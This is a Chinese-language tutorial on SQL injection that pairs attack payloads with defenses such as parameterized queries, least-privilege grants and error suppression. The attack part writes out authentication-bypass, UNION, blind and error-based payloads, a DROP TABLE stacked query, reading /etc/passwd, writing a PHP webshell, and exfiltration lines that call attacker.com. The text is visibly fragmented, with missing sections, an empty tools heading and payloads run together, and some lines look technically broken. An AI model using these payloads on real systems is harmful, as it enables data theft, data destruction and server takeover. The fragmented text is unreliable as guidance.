SQL注入是一种将恶意SQL代码插入到应用程序输入参数中,使其在后台数据库执行的安全漏洞。其核心原理是:用户输入数据被错误地解释为代码而非数据。
关键技术点: 信任边界突破:应用程序未严格区分代码与数据 语句拼接漏洞:"SELECT * FROM users WHERE name='" + userInput + "'"
查询结构篡改:通过单引号、注释符等改变原始SQL逻辑
-- 原始查询
SELECT * FROM users WHERE username = 'input' AND password = 'pass'
-- 攻击输入
admin' OR '1'='1
-- 最终执行
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pass'
2. 联合查询注入(Union-based)
' UNION SELECT username, password FROM users --
-- 利用UNION合并查询结果,窃取数据
3. 盲注(Blind Injection)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
5. 堆叠查询(Stacked Queries)
'; DROP TABLE users; --
6. 二阶注入(Second-order)
{"$where": "this.username == '" + userInput + "'"}' " ) ]等
确认漏洞:报错信息、布尔逻辑、时间延迟
获取信息:数据库版本、表结构、数据
数据提取:通过UNION或盲注
常用工具:
/*!50000SELECT*/CONCAT('sel','ect')SeLeCt、SELECT/**/1SUBSTRING → MID → SUBSTRLOAD_FILE(CONCAT('\\\\',(SELECT password),'.attacker.com\\test'))SELECT ... INTO OUTFILE 'http://attacker.com/steal'-- 尝试获取文件读取权限
' UNION SELECT LOAD_FILE('/etc/passwd') --
-- 尝试写入Webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
# 严格白名单(推荐)
def validate_input(input_str, allowed_pattern):
import re
if not re.match(allowed_pattern, input_str):
raise ValueError("Invalid input")
# 参数化查询(最有效)
cursor.execute("SELECT * FROM users WHERE username = %s", (user_input,))
2. 参数化查询(预编译语句)
// Java PreparedStatement
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userInput);
-- 创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
-- 仅授予必要权限
GRANT SELECT ON appdb.users TO 'webapp'@'localhost';
REVOKE DROP, FILE, GRANT OPTION FROM 'webapp'@'localhost';
4. 输出编码与错误处理
<?php
// 禁用详细错误信息
ini_set('display_errors', '0');
// 自定义错误页面
// 对输出进行HTML编码
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
?>
5. 纵深防御措施
// Node.js示例 - 使用参数化查询
const mysql = require('mysql2');
const pool = mysql.createPool({...});
// 正确方式
pool.execute('SELECT * FROM users WHERE id = ?', [userId]);
// ORM框架使用(自动参数化)
const users = await User.findAll({
where: {
username: req.body.username
}
});
7. 定期安全检测
SQL注入虽是"古老"漏洞,但在复杂应用架构、微服务、云原生环境下仍以新形式存在。防御需要从代码层、架构层、运维层多维度构建完整安全体系。